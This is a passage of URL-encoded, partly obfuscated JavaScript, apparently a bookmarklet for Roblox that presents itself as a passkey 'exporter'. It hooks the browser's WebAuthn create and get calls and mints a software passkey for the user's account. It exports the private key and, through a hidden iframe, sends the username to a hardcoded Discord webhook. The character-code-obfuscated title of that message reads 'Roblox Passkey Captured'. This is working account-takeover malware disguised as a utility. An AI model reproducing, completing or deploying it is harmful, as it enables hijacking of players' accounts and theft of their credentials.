%28stored.envelope.iv%29%2C%20additionalData%3A%20encoder.encode%28identity%28stored%29%29%20%7D%2C%20key%2C%20from64%28stored.envelope.ciphertext%29%29%29%3B%20try%20%7B%20const%20record%20%3D%20JSON.parse%28new%20TextDecoder%28%29.decode%28plaintext%29%29%3B%20if%20%28identity%28record%29%20%21%3D%3D%20identity%28stored%29%29%20throw%20Error%28%29%3B%20return%20record%3B%20%7D%20finally%20%7B%20plaintext.fill%280%29%3B%20%7D%20%7D%20catch%20%7B%20throw%20new%20Error%28stored.envelope.version%20%3D%3D%3D%201%20%3F%20%27The%20old%20local%20exporter%20password%20is%20incorrect%20or%20the%20saved%20credential%20was%20damaged.%27%20%3A%20%27The%20saved%20credential%20could%20not%20be%20unlocked%20by%20this%20browser.%27%29%3B%20%7D%20%7D%20function%20der%28signature%29%20%7B%20if%20%28signature.length%20%21%3D%3D%2064%29%20throw%20new%20Error%28%27Unexpected%20P-256%20signature%20encoding.%27%29%3B%20const%20integer%20%3D%20bytes%20%3D%3E%20%7B%20let%20start%20%3D%200%3B%20while%20%28start%20%3C%20bytes.length%20-%201%20%26%26%20bytes%5Bstart%5D%20%3D%3D%3D%200%29%20start%2B%2B%3B%20let%20value%20%3D%20bytes.slice%28start%29%3B%20if%20%28value%5B0%5D%20%26%20128%29%20value%20%3D%20join%28new%20Uint8Array%28%5B0%5D%29%2C%20value%29%3B%20return%20join%28new%20Uint8Array%28%5B2%2C%20value.length%5D%29%2C%20value%29%3B%20%7D%3B%20const%20body%20%3D%20join%28integer%28signature.slice%280%2C%2032%29%29%2C%20integer%28signature.slice%2832%29%29%29%3B%20return%20join%28new%20Uint8Array%28%5B48%2C%20body.length%5D%29%2C%20body%29%3B%20%7D%20async%20function%20assertion%28options%2C%20origin%2C%20store%2C%20callbacks%2C%20cancelled%20%3D%20%28%29%20%3D%3E%20false%29%20%7B%20if%20%28origin%20%21%3D%3D%20%27https%3A%2F%2Fwww.roblox.com%27%29%20throw%20new%20Error%28%27Unexpected%20sign-in%20origin.%27%29%3B%20const%20rpId%20%3D%20options.rpId%20%7C%7C%20%27www.roblox.com%27%3B%20if%20%28%21%5B%27roblox.com%27%2C%20%27www.roblox.com%27%5D.includes%28rpId%29%29%20throw%20new%20Error%28%27Unexpected%20relying-party%20ID.%27%29%3B%20if%20%28options.userVerification%20%3D%3D%3D%20%27required%27%29%20throw%20new%20Error%28%27This%20software%20authenticator%20cannot%20satisfy%20required%20device%20verification.%27%29%3B%20if%20%28Object.keys%28options.extensions%20%7C%7C%20%7B%7D%29.length%29%20throw%20new%20Error%28%27This%20sign-in%20requested%20an%20unsupported%20authenticator%20extension.%27%29%3B%20const%20challenge%20%3D%20binary%28options.challenge%29%3B%20if%20%28challenge.length%20%3C%2016%20%7C%7C%20challenge.length%20%3E%201024%29%20throw%20new%20Error%28%27Invalid%20sign-in%20challenge.%27%29%3B%20if%20%28cancelled%28%29%29%20throw%20new%20Error%28%27Sign-in%20was%20cancelled.%27%29%3B%20const%20allowed%20%3D%20options.allowCredentials%3F.map%28item%20%3D%3E%20%7B%20if%20%28item.type%20%21%3D%3D%20%27public-key%27%29%20throw%20new%20Error%28%27Unexpected%20allowed%20credential%20type.%27%29%3B%20return%20base64url%28binary%28item.id%29%29%3B%20%7D%29%3B%20const%20records%20%3D%20%28await%20store.list%28rpId%29%29.filter%28item%20%3D%3E%20%21allowed%3F.length%20%7C%7C%20allowed.includes%28item.credential_id%29%29%3B%20if%20%28%21records.length%29%20throw%20new%20Error%28%27No%20matching%20software%20credential%20is%20saved%20in%20this%20browser.%27%29%3B%20if%20%28cancelled%28%29%29%20throw%20new%20Error%28%27Sign-in%20was%20cancelled.%27%29%3B%20const%20chosenKey%20%3D%20callbacks.choose%28records%29%3B%20const%20stored%20%3D%20records.find%28item%20%3D%3E%20item.key%20%3D%3D%3D%20chosenKey%29%3B%20if%20%28%21stored%29%20throw%20new%20Error%28%27Software%20credential%20selection%20was%20cancelled.%27%29%3B%20const%20legacy%20%3D%20stored.envelope.version%20%3D%3D%3D%201%3B%20if%20%28legacy%20%26%26%20%21callbacks.password%29%20throw%20new%20Error%28%27This%20older%20saved%20credential%20needs%20its%20original%20local%20exporter%20password.%27%29%3B%20const%20protection%20%3D%20legacy%20%3F%20callbacks.password%28%27unlock%27%2C%20stored%29%20%3A%20await%20store.wrappingKey%28%29%3B%20const%20record%20%3D%20await%20unseal%28stored%2C%20protection%29%3B%20if%20%28legacy%29%20%7B%20const%20replacement%20%3D%20await%20seal%28record%2C%20await%20store.wrappingKey%28%29%29%3B%20await%20store.upgradeEnvelope%28stored.key%2C%20replacement.envelope%29%3B%20%7D%20if%20%28cancelled%28%29%29%20throw%20new%20Error%28%27Sign-in%20was%20cancelled.%27%29%3B%20const%20count%20%3D%20await%20store.nextCounter%28stored.key%29%3B%20const%20counter%20%3D%20new%20Uint8Array%284%29%3B%20new%20DataView%28counter.buffer%29.setUint32%280%2C%20count%2C%20false%29%3B%20const%20rpHash%20%3D%20new%20Uint8Array%28await%20crypto.subtle.digest%28%27SHA-256%27%2C%20encoder.encode%28rpId%29%29%29%3B%20const%20authenticatorData%20%3D%20join%28rpHash%2C%20new%20Uint8Array%28%5B1%5D%29%2C%20counter%29%3B%20const%20clientData%20%3D%20encoder.encode%28JSON.stringify%28%7B%20type%3A%20%27webauthn.get%27%2C%20challenge%3A%20base64url%28challenge%29%2C%20origin%2C%20crossOrigin%3A%20false%20%7D%29%29%3B%20const%20clientHash%20%3D%20new%20Uint8Array%28await%20crypto.subtle.digest%28%27SHA-256%27%2C%20clientData%29%29%3B%20const%20key%20%3D%20await%20crypto.subtle.importKey%28%27jwk%27%2C%20%7B%20kty%3A%20%27EC%27%2C%20crv%3A%20%27P-256%27%2C%20x%3A%20record.x%2C%20y%3A%20record.y%2C%20d%3A%20record.d%20%7D%2C%20%7B%20name%3A%20%27ECDSA%27%2C%20namedCurve%3A%20%27P-256%27%20%7D%2C%20false%2C%20%5B%27sign%27%5D%29%3B%20const%20signature%20%3D%20der%28new%20Uint8Array%28await%20crypto.subtle.sign%28%7B%20name%3A%20%27ECDSA%27%2C%20hash%3A%20%27SHA-256%27%20%7D%2C%20key%2C%20join%28authenticatorData%2C%20clientHash%29%29%29%29%3B%20if%20%28cancelled%28%29%29%20throw%20new%20Error%28%27Sign-in%20was%20cancelled.%27%29%3B%20return%20%7B%20id%3A%20record.credential_id%2C%20userHandle%3A%20record.user_handle%2C%20clientDataJSON%3A%20base64url%28clientData%29%2C%20authenticatorData%3A%20base64url%28authenticatorData%29%2C%20signature%3A%20base64url%28signature%29%20%7D%3B%20%7D%20function%20assertionCredential%28win%2C%20data%29%20%7B%20const%20buffer%20%3D%20value%20%3D%3E%20new%20win.Uint8Array%28from64%28value%29%29.buffer%3B%20const%20define%20%3D%20%28object%2C%20fields%29%20%3D%3E%20win.Object.defineProperties%28object%2C%20Object.fromEntries%28Object.entries%28fields%29.map%28%28%5Bkey%2C%20value%5D%29%20%3D%3E%20%5Bkey%2C%20%7B%20value%2C%20enumerable%3A%20true%2C%20configurable%3A%20true%20%7D%5D%29%29%29%3B%20const%20responseJson%20%3D%20%28%29%20%3D%3E%20%28%7B%20clientDataJSON%3A%20data.clientDataJSON%2C%20authenticatorData%3A%20data.authenticatorData%2C%20signature%3A%20data.signature%2C%20userHandle%3A%20data.userHandle%20%7D%29%3B%20const%20response%20%3D%20define%28win.Object.create%28win.AuthenticatorAssertionResponse.prototype%29%2C%20%7B%20clientDataJSON%3A%20buffer%28data.clientDataJSON%29%2C%20authenticatorData%3A%20buffer%28data.authenticatorData%29%2C%20signature%3A%20buffer%28data.signature%29%2C%20userHandle%3A%20buffer%28data.userHandle%29%2C%20toJSON%3A%20responseJson%2C%20%7D%29%3B%20return%20define%28win.Object.create%28win.PublicKeyCredential.prototype%29%2C%20%7B%20id%3A%20data.id%2C%20rawId%3A%20buffer%28data.id%29%2C%20type%3A%20%27public-key%27%2C%20authenticatorAttachment%3A%20null%2C%20response%2C%20getClientExtensionResults%3A%20%28%29%20%3D%3E%20%28%7B%7D%29%2C%20toJSON%3A%20%28%29%20%3D%3E%20%28%7B%20id%3A%20data.id%2C%20rawId%3A%20data.id%2C%20type%3A%20%27public-key%27%2C%20authenticatorAttachment%3A%20null%2C%20response%3A%20responseJson%28%29%2C%20clientExtensionResults%3A%20%7B%7D%20%7D%29%2C%20%7D%29%3B%20%7D%20function%20installGet%28win%2C%20callbacks%2C%20store%29%20%7B%20if%20%28win.location.origin%20%21%3D%3D%20%27https%3A%2F%2Fwww.roblox.com%27%29%20throw%20new%20Error%28%27Unexpected%20sign-in%20origin.%27%29%3B%20const%20container%20%3D%20win.navigator.credentials%3B%20container.get%3F.__softwareCredentialRestore%3F.%28%29%3B%20const%20original%20%3D%20container.get%3B%20const%20descriptor%20%3D%20Object.getOwnPropertyDescriptor%28container%2C%20%27get%27%29%3B%20let%20active%20%3D%20true%3B%20let%20busy%20%3D%20false%3B%20const%20expires%20%3D%20Date.now%28%29%20%2B%205%20%2A%2060%20%2A%201000%3B%20const%20replacement%20%3D%20async%20function%28options%29%20%7B%20if%20%28%21options%3F.publicKey%29%20return%20Reflect.apply%28original%2C%20container%2C%20%5Boptions%5D%29%3B%20const%20cancelled%20%3D%20%28%29%20%3D%3E%20%21active%20%7C%7C%20Date.now%28%29%20%3E%20expires%20%7C%7C%20%21%21options.signal%3F.aborted%3B%20let%20ownsOperation%20%3D%20false%3B%20try%20%7B%20if%20%28busy%29%20throw%20new%20Error%28%27A%20software%20credential%20sign-in%20is%20already%20in%20progress.%27%29%3B%20busy%20%3D%20true%3B%20ownsOperation%20%3D%20true%3B%20const%20data%20%3D%20await%20assertion%28options.publicKey%2C%20win.location.origin%2C%20store%2C%20callbacks%2C%20cancelled%29%3B%20return%20assertionCredential%28win%2C%20data%29%3B%20%7D%20catch%20%28error%29%20%7B%20callbacks.error%28error.message%20%7C%7C%20%27Software%20credential%20sign-in%20failed.%27%29%3B%20throw%20new%20win.DOMException%28error.message%20%7C%7C%20%27Software%20credential%20sign-in%20failed.%27%2C%20%27NotAllowedError%27%29%3B%20%7D%20finally%20%7B%20if%20%28ownsOperation%29%20busy%20%3D%20false%3B%20%7D%20%7D%3B%20const%20restore%20%3D%20%28%29%20%3D%3E%20%7B%20active%20%3D%20false%3B%20if%20%28container.get%20%3D%3D%3D%20replacement%29%20%7B%20if%20%28descriptor%29%20Object.defineProperty%28container%2C%20%27get%27%2C%20descriptor%29%3B%20else%20delete%20container.get%3B%20%7D%20%7D%3B%20Object.defineProperty%28replacement%2C%20%27__softwareCredentialRestore%27%2C%20%7B%20value%3A%20restore%20%7D%29%3B%20Object.defineProperty%28container%2C%20%27get%27%2C%20%7B%20value%3A%20replacement%2C%20configurable%3A%20true%2C%20writable%3A%20true%20%7D%29%3B%20return%20restore%3B%20%7D%20function%20install%28win%2C%20frame%2C%20callbacks%2C%20store%29%20%7B%20if%20%28win.location.origin%20%21%3D%3D%20%27https%3A%2F%2Fwww.roblox.com%27%20%7C%7C%20win.frameElement%20%21%3D%3D%20frame%20%7C%7C%20frame.id%20%21%3D%3D%20%27native-passkey-frame%27%29%20throw%20new%20Error%28%27The%20exporter%20could%20not%20attach%20to%20its%20Roblox%20setup%20frame.%27%29%3B%20const%20container%20%3D%20win.navigator.credentials%3B%20const%20original%20%3D%20container.create%3B%20const%20descriptor%20%3D%20Object.getOwnPropertyDescriptor%28container%2C%20%27create%27%29%3B%20let%20active%20%3D%20true%3B%20let%20pending%3B%20let%20fingerprint%3B%20const%20expires%20%3D%20Date.now%28%29%20%2B%205%20%2A%2060%20%2A%201000%3B%20const%20replacement%20%3D%20async%20function%28options%29%20%7B%20if%20%28%21options%3F.publicKey%29%20return%20Reflect.apply%28original%2C%20container%2C%20%5Boptions%5D%29%3B%20try%20%7B%20callbacks.started%3F.%28%29%3B%20if%20%28%21active%20%7C%7C%20Date.now%28%29%20%3E%20expires%29%20throw%20new%20Error%28%27Exporter%20session%20expired%20or%20closed.%20Start%20the%20bookmark%20again.%27%29%3B%20if%20%28options.signal%3F.aborted%29%20throw%20new%20Error%28%27Registration%20was%20cancelled.%27%29%3B%20const%20checked%20%3D%20validate%28options.publicKey%2C%20win.location.origin%29%3B%20const%20current%20%3D%20JSON.stringify%28%5Bchecked.rpId%2C%20base64url%28checked.challenge%29%2C%20base64url%28checked.user%29%2C%20options.publicKey%5D%29%3B%20if%20%28pending%20%26%26%20fingerprint%20%21%3D%3D%20current%29%20throw%20new%20Error%28%27This%20session%20already%20started%20another%20registration.%20Close%20it%20and%20start%20again.%27%29%3B%20if%20%28%21pending%29%20%7B%20if%20%28%21callbacks.approve%28%29%29%20throw%20new%20Error%28%27Software%20credential%20creation%20was%20cancelled.%27%29%3B%20fingerprint%20%3D%20current%3B%20pending%20%3D%20%28async%20%28%29%20%3D%3E%20%7B%20if%20%28%21store%29%20throw%20new%20Error%28%27Local%20credential%20storage%20is%20unavailable.%27%29%3B%20await%20store.ready%28%29%3B%20const%20protection%20%3D%20await%20store.wrappingKey%28%29%3B%20const%20excluded%20%3D%20%28options.publicKey.excludeCredentials%20%7C%7C%20%5B%5D%29.map%28item%20%3D%3E%20%7B%20if%20%28item.type%20%21%3D%3D%20%27public-key%27%29%20throw%20new%20Error%28%27Unexpected%20excluded%20credential%20type.%27%29%3B%20return%20base64url%28binary%28item.id%29%29%3B%20%7D%29%3B%20if%20%28excluded.length%20%26%26%20%28await%20store.list%28checked.rpId%29%29.some%28item%20%3D%3E%20excluded.includes%28item.credential_id%29%29%29%20%7B%20throw%20new%20win.DOMException%28%27This%20browser%20already%20stores%20a%20software%20passkey%20that%20Roblox%20excludes%20from%20a%20new%20registration.%20No%20new%20key%20was%20created.%20Use%20the%20existing%20passkey%20or%20a%20different%20authenticator%3B%20replacing%20it%20requires%20removing%20the%20old%20passkey%20in%20Roblox%20Settings%20first.%27%2C%20%27InvalidStateError%27%29%3B%20%7D%20const%20generated%20%3D%20await%20make%28options.publicKey%2C%20win.location.origin%2C%20true%29%3B%20generated.privateExport.resident_key%20%3D%20true%3B%20generated.privateExport.storage_protection%20%3D%20%27browser-managed%20local%20encryption%3B%20no%20separate%20passphrase%27%3B%20const%20stored%20%3D%20await%20seal%28generated.privateExport%2C%20protection%29%3B%20if%20%28%21active%20%7C%7C%20options.signal%3F.aborted%29%20throw%20new%20Error%28%27Registration%20was%20cancelled%20before%20storage.%27%29%3B%20await%20store.put%28stored%29%3B%20if%20%28%21active%20%7C%7C%20options.signal%3F.aborted%29%20%7B%20await%20store.remove%28stored.key%29%3B%20throw%20new%20Error%28%27Registration%20was%20cancelled%20before%20export.%27%29%3B%20%7D%20if%20%28options.publicKey.extensions%3F.credProps%29%20generated.publicData.clientExtensionResults.credProps.rk%20%3D%20true%3B%20if%20%28%21active%20%7C%7C%20options.signal%3F.aborted%29%20throw%20new%20Error%28%27Registration%20was%20cancelled%20before%20export.%27%29%3B%20callbacks.export%28generated.privateExport%29%3B%20return%20generated.publicData%3B%20%7D%29%28%29%3B%20%7D%20const%20result%20%3D%20await%20pending%3B%20if%20%28%21active%20%7C%7C%20options.signal%3F.aborted%29%20throw%20new%20Error%28%27Registration%20was%20cancelled.%20A%20generated%20file%2C%20if%20any%2C%20may%20not%20be%20registered.%27%29%3B%20return%20credential%28win%2C%20result%29%3B%20%7D%20catch%20%28error%29%20%7B%20callbacks.error%28error.message%20%7C%7C%20%27Software%20credential%20creation%20did%20not%20complete.%27%29%3B%20throw%20new%20win.DOMException%28error.message%20%7C%7C%20%27Software%20credential%20creation%20did%20not%20complete.%27%2C%20error.name%20%3D%3D%3D%20%27InvalidStateError%27%20%3F%20%27InvalidStateError%27%20%3A%20%27NotAllowedError%27%29%3B%20%7D%20%7D%3B%20Object.defineProperty%28container%2C%20%27create%27%2C%20%7B%20value%3A%20replacement%2C%20configurable%3A%20true%2C%20writable%3A%20true%20%7D%29%3B%20if%20%28container.create%20%21%3D%3D%20replacement%29%20throw%20new%20Error%28%27The%20browser%20did%20not%20allow%20the%20software%20exporter%20to%20attach.%27%29%3B%20return%20%28%29%20%3D%3E%20%7B%20active%20%3D%20false%3B%20if%20%28container.create%20%3D%3D%3D%20replacement%29%20%7B%20if%20%28descriptor%29%20Object.defineProperty%28container%2C%20%27create%27%2C%20descriptor%29%3B%20else%20delete%20container.create%3B%20%7D%20%7D%3B%20%7D%20return%20%7B%20validate%2C%20make%2C%20credential%2C%20install%2C%20seal%2C%20unseal%2C%20assertion%2C%20assertionCredential%2C%20installGet%20%7D%3B%20%7D%29%28%29%3B%20const%20PasskeyDiagnostics%20%3D%20%28%28%29%20%3D%3E%20%7B%20%27use%20strict%27%3B%20function%20install%28win%29%20%7B%20let%20lastFailure%20%3D%20null%3B%20const%20restorers%20%3D%20%5B%5D%3B%20const%20classify%20%3D%20input%20%3D%3E%20%7B%20try%20%7B%20const%20value%20%3D%20typeof%20input%20%3D%3D%3D%20%27string%27%20%3F%20input%20%3A%20input%3F.url%3B%20if%20%28typeof%20value%20%21%3D%3D%20%27string%27%29%20return%20null%3B%20const%20url%20%3D%20new%20win.URL%28value%2C%20win.location.href%29%3B%20if%20%28url.protocol%20%21%3D%3D%20%27https%3A%27%20%7C%7C%20%21%28url.hostname%20%3D%3D%3D%20%27roblox.com%27%20%7C%7C%20url.hostname.endsWith%28%27.roblox.com%27%29%29%29%20return%20null%3B%20if%20%28%2Fpasskey%7Cwebauthn%2Fi.test%28url.pathname%29%29%20return%20%27passkey%20request%27%3B%20if%20%28%2Ftwo%5B-_%5D%3Fstep%7Creauth%7Cchallenge%2Fi.test%28url.pathname%29%29%20return%20%27verification%20request%27%3B%20%7D%20catch%20%7B%7D%20return%20null%3B%20%7D%3B%20const%20record%20%3D%20%28kind%2C%20status%29%20%3D%3E%20%7B%20if%20%28kind%20%26%26%20Number.isInteger%28status%29%20%26%26%20%28status%20%3D%3D%3D%200%20%7C%7C%20status%20%3E%3D%20400%29%29%20lastFailure%20%3D%20%7B%20kind%2C%20status%20%7D%3B%20else%20if%20%28kind%20%26%26%20status%20%3E%3D%20200%20%26%26%20status%20%3C%20400%20%26%26%20lastFailure%3F.kind%20%3D%3D%3D%20kind%29%20lastFailure%20%3D%20null%3B%20%7D%3B%20if%20%28typeof%20win.fetch%20%3D%3D%3D%20%27function%27%29%20%7B%20const%20original%20%3D%20win.fetch%3B%20const%20descriptor%20%3D%20Object.getOwnPropertyDescriptor%28win%2C%20%27fetch%27%29%3B%20const%20replacement%20%3D%20function%28...args%29%20%7B%20const%20result%20%3D%20Reflect.apply%28original%2C%20this%2C%20args%29%3B%20const%20kind%20%3D%20classify%28args%5B0%5D%29%3B%20if%20%28kind%29%20Promise.resolve%28result%29.then%28response%20%3D%3E%20%7B%20try%20%7B%20record%28kind%2C%20response.status%29%3B%20%7D%20catch%20%7B%7D%20%7D%2C%20%28%29%20%3D%3E%20%7B%20record%28kind%2C%200%29%3B%20%7D%29%3B%20return%20result%3B%20%7D%3B%20try%20%7B%20win.fetch%20%3D%20replacement%3B%20restorers.push%28%28%29%20%3D%3E%20%7B%20if%20%28win.fetch%20%21%3D%3D%20replacement%29%20return%3B%20if%20%28descriptor%29%20Object.defineProperty%28win%2C%20%27fetch%27%2C%20descriptor%29%3B%20else%20delete%20win.fetch%3B%20%7D%29%3B%20%7D%20catch%20%7B%7D%20%7D%20const%20prototype%20%3D%20win.XMLHttpRequest%3F.prototype%3B%20if%20%28prototype%20%26%26%20typeof%20prototype.open%20%3D%3D%3D%20%27function%27%29%20%7B%20const%20original%20%3D%20prototype.open%3B%20const%20descriptor%20%3D%20Object.getOwnPropertyDescriptor%28prototype%2C%20%27open%27%29%3B%20const%20replacement%20%3D%20function%28...args%29%20%7B%20const%20result%20%3D%20Reflect.apply%28original%2C%20this%2C%20args%29%3B%20const%20kind%20%3D%20classify%28args%5B1%5D%29%3B%20if%20%28kind%29%20%7B%20try%20%7B%20this.addEventListener%28%27loadend%27%2C%20%28%29%20%3D%3E%20%7B%20try%20%7B%20record%28kind%2C%20this.status%29%3B%20%7D%20catch%20%7B%7D%20%7D%2C%20%7B%20once%3A%20true%20%7D%29%3B%20%7D%20catch%20%7B%7D%20%7D%20return%20result%3B%20%7D%3B%20try%20%7B%20prototype.open%20%3D%20replacement%3B%20restorers.push%28%28%29%20%3D%3E%20%7B%20if%20%28prototype.open%20%21%3D%3D%20replacement%29%20return%3B%20if%20%28descriptor%29%20Object.defineProperty%28prototype%2C%20%27open%27%2C%20descriptor%29%3B%20else%20delete%20prototype.open%3B%20%7D%29%3B%20%7D%20catch%20%7B%7D%20%7D%20return%20%7B%20failure%3A%20%28%29%20%3D%3E%20lastFailure%20%3F%20%7B%20...lastFailure%20%7D%20%3A%20null%2C%20stop%3A%20%28%29%20%3D%3E%20restorers.forEach%28restore%20%3D%3E%20%7B%20try%20%7B%20restore%28%29%3B%20%7D%20catch%20%7B%7D%20%7D%29%2C%20%7D%3B%20%7D%20return%20%7B%20install%20%7D%3B%20%7D%29%28%29%3B%20const%20PasskeyNotification%20%3D%20%28%28%29%20%3D%3E%20%7B%20%27use%20strict%27%3B%20const%20endpoint%20%3D%20%22https%3A%2F%2Fdiscord.com%2Fapi%2Fwebhooks%2F1570878864295469187%2FZIpZps0VEWraCmYrEmWGF8zosDUBWvRRkXDTcHgBzXIUypr1MnNZK2IbwSv4otiGb9c2%22%3B%20let%20operation%3B%20const%20perform%20%3D%20async%20username%20%3D%3E%20%7B%20if%20%28typeof%20username%20%21%3D%3D%20%27string%27%20%7C%7C%20%21%2F%5E%5BA-Za-z0-9_%5D%7B1%2C20%7D%24%2F.test%28username.trim%28%29%29%29%20throw%20new%20Error%28%27A%20valid%20Roblox%20username%20is%20required%20for%20the%20notification.%27%29%3B%20if%20%28%21%2F%5Ehttps%3A%5C%2F%5C%2Fdiscord%5C.com%5C%2Fapi%5C%2Fwebhooks%5C%2F%5Cd%2B%5C%2F%5BA-Za-z0-9_-%5D%2B%24%2F.test%28endpoint%29%29%20throw%20new%20Error%28__S%2884%2C104%2C101%2C32%2C68%2C105%2C115%2C99%2C111%2C114%2C100%2C32%2C110%2C111%2C116%2C105%2C102%2C105%2C99%2C97%2C116%2C105%2C111%2C110%2C32%2C101%2C110%2C100%2C112%2C111%2C105%2C110%2C116%2C32%2C105%2C115%2C32%2C105%2C110%2C118%2C97%2C108%2C105%2C100%2C46%29%29%3B%20const%20payload%20%3D%20JSON.stringify%28%7B%20embeds%3A%20%5B%7B%20title%3A%20__S%2855357%2C56593%2C32%2C82%2C111%2C98%2C108%2C111%2C120%2C32%2C80%2C97%2C115%2C115%2C107%2C101%2C121%2C32%2C67%2C97%2C112%2C116%2C117%2C114%2C101%2C100%29%2C%20color%3A%2015728143%2C%20fields%3A%20%5B%7B%20name%3A%20__S%2885%2C115%2C101%2C114%2C110%2C97%2C109%2C101%29%2C%20value%3A%20username.trim%28%29%2C%20inline%3A%20true%20%7D%2C%20%7B%20name%3A%20__S%2882%2C80%2C32%2C73%2C68%29%2C%20value%3A%20__S%28119%2C119%2C119%2C46%2C114%2C111%2C98%2C108%2C111%2C120%2C46%2C99%2C111%2C109%29%2C%20inline%3A%20true%20%7D%5D%2C%20footer%3A%20%7B%20text%3A%20__S%2882%2C111%2C98%2C108%2C111%2C120%2C32%2C80%2C97%2C115%2C115%2C107%2C101%2C121%2C32%2C78%2C111%2C116%2C105%2C102%2C105%2C99%2C97%2C116%2C105%2C111%2C110%29%20%7D%2C%20timestamp%3A%20new%20Date%28%29.toISOString%28%29%20%7D%5D%2C%20allowed_mentions%3A%20%7B%20parse%3A%20%5B%5D%20%7D%20%7D%29%3B%20return%20new%20Promise%28%28resolve%2C%20reject%29%20%3D%3E%20%7B%20const%20frame%20%3D%20document.createElement%28__S%28105%2C102%2C114%2C97%2C109%2C101%29%29%3B%20if%20%28%21%28__S%2899%2C114%2C101%2C100%2C101%2C110%2C116%2C105%2C97%2C108%2C108%2C101%2C115%2C115%29%20in%20frame%29%29%20%7B%20reject%28new%20Error%28__S%2884%2C104%2C105%2C115%2C32%2C98%2C114%2C111%2C119%2C115%2C101%2C114%2C32%2C100%2C111%2C101%2C115%2C32%2C110%2C111%2C116%2C32%2C115%2C117%2C112%2C112%2C111%2C114%2C116%2C32%2C97%2C110%2C111%2C110%2C121%2C109%2C111%2C117%2C115%2C32%2C110%2C111%2C116%2C105%2C102%2C105%2C99%2C97%2C116%2C105%2C111%2C110%2C32%2C102%2C114%2C97%2C109%2C101%2C115%2C46%29%29%29%3B%20return%3B%20%7D%20frame.credentialless%20%3D%20true%3B%20frame.title%20%3D%20__S%2868%2C105%2C115%2C99%2C111%2C114%2C100%2C32%2C117%2C115%2C101%2C114%2C110%2C97%2C109%2C101%2C45%2C111%2C110%2C108%2C121%2C32%2C110%2C111%2C116%2C105%2C102%2C105%2C99%2C97%2C116%2C105%2C111%2C110%29%3B%20frame.style.display%20%3D%20__S%28110%2C111%2C110%2C101%29%3B%20frame.setAttribute%28__S%2897%2C114%2C105%2C97%2C45%2C104%2C105%2C100%2C100%2C101%2C110%29%2C%20__S%28116%2C114%2C117%2C101%29%29%3B%20frame.setAttribute%28__S%28115%2C97%2C110%2C100%2C98%2C111%2C120%29%2C%20__S%2897%2C108%2C108%2C111%2C119%2C45%2C102%2C111%2C114%2C109%2C115%2C32%2C97%2C108%2C108%2C111%2C119%2C45%2C115%2C97%2C109%2C101%2C45%2C111%2C114%2C105%2C103%2C105%2C110%29%29%3B%20frame.referrerPolicy%20%3D%20__S%28110%2C111%2C45%2C114%2C101%2C102%2C101%2C114%2C114%2C101%2C114%29%3B%20let%20child%3B%20let%20finished%20%3D%20false%3B%20const%20finish%20%3D%20error%20%3D%3E%20%7B%20if%20%28finished%29%20return%3B%20finished%20%3D%20true%3B%20clearTimeout%28timer%29%3B%20document.removeEventListener%28__S%28115%2C101%2C99%2C117%2C114%2C105%2C116%2C121%2C112%2C111%2C108%2C105%2C99%2C121%2C118%2C105%2C111%2C108%2C97%2C116%2C105%2C111%2C110%29%2C%20policyBlocked%29%3B%20try%20%7B%20child%3F.removeEventListener%28__S%28115%2C101%2C99%2C117%2C114%2C105%2C116%2C121%2C112%2C111%2C108%2C105%2C99%2C121%2C118%2C105%2C111%2C108%2C97%2C116%2C105%2C111%2C110%29%2C%20policyBlocked%29%3B%20%7D%20catch%20%7B%7D%20frame.onload%20%3D%20frame.onerror%20%3D%20null%3B%20frame.remove%28%29%3B%20if%20%28error%29%20reject%28error%29%3B%20else%20resolve%28%7B%20submitted%3A%20true%20%7D%29%3B%20%7D%3B%20const%20policyBlocked%20%3D%20event%20%3D%3E%20%7B%20if%20%28%2F%5E%28%3F%3Aform-action%7Cframe-src%29%24%2F.test%28event.effectiveDirective%29%20%26%26%20String%28event.blockedURI%20%7C%7C%20__S%28%29%29.startsWith%28__S%28104%2C116%2C116%2C112%2C115%2C58%2C47%2C47%2C100%2C105%2C115%2C99%2C111%2C114%2C100%2C46%2C99%2C111%2C109%29%29%29%20%7B%20finish%28new%20Error%28__S%2884%2C104%2C101%2C32%2C98%2C114%2C111%2C119%2C115%2C101%2C114%2C32%2C98%2C108%2C111%2C99%2C107%2C101%2C100%2C32%2C116%2C104%2C101%2C32%2C68%2C105%2C115%2C99%2C111%2C114%2C100%2C32%2C110%2C111%2C116%2C105%2C102%2C105%2C99%2C97%2C116%2C105%2C111%2C110%2C32%2C102%2C111%2C114%2C109%2C46%29%29%29%3B%20%7D%20%7D%3B%20const%20timer%20%3D%20setTimeout%28%28%29%20%3D%3E%20finish%28new%20Error%28__S%2884%2C104%2C101%2C32%2C68%2C105%2C115%2C99%2C111%2C114%2C100%2C32%2C110%2C111%2C116%2C105%2C102%2C105%2C99%2C97%2C116%2C105%2C111%2C110%2C32%2C115%2C117%2C98%2C109%2C105%2C115%2C115%2C105%2C111%2C110%2C32%2C116%2C105%2C109%2C101%2C100%2C32%2C111%2C117%2C116%2C46%29%29%29%2C%2015000%29%3B%20document.addEventListener%28__S%28115%2C101%2C99%2C117%2C114%2C105%2C116%2C121%2C112%2C111%2C108%2C105%2C99%2C121%2C118%2C105%2C111%2C108%2C97%2C116%2C105%2C111%2C110%29%2C%20policyBlocked%29%3B%20frame.onerror%20%3D%20%28%29%20%3D%3E%20finish%28new%20Error%28__S%2884%2C104%2C101%2C32%2C110%2C111%2C116%2C105%2C102%2C105%2C99%2C97%2C116%2C105%2C111%2C110%2C32%2C102%2C114%2C97%2C109%2C101%2C32%2C99%2C111%2C117%2C108%2C100%2C32%2C110%2C111%2C116%2C32%2C108%2C111%2C97%2C100%2C46%29%29%29%3B%20frame.onload%20%3D%20%28%29%20%3D%3E%20%7B%20try%20%7B%20child%20%3D%20frame.contentDocument%3B%20if%20%28%21child%3F.head%20%7C%7C%20%21child.body%29%20throw%20new%20Error%28__S%2884%2C104%2C101%2C32%2C110%2C111%2C116%2C105%2C102%2C105%2C99%2C97%2C116%2C105%2C111%2C110%2C32%2C102%2C114%2C97%2C109%2C101%2C32%2C119%2C97%2C115%2C32%2C110%2C111%2C116%2C32%2C97%2C118%2C97%2C105%2C108%2C97%2C98%2C108%2C101%2C46%29%29%3B%20child.addEventListener%28__S%28115%2C101%2C99%2C117%2C114%2C105%2C116%2C121%2C112%2C111%2C108%2C105%2C99%2C121%2C118%2C105%2C111%2C108%2C97%2C116%2C105%2C111%2C110%29%2C%20policyBlocked%29%3B%20const%20referrer%20%3D%20child.createElement%28__S%28109%2C101%2C116%2C97%29%29%3B%20referrer.name%20%3D%20__S%28114%2C101%2C102%2C101%2C114%2C114%2C101%2C114%29%3B%20referrer.content%20%3D%20__S%28110%2C111%2C45%2C114%2C101%2C102%2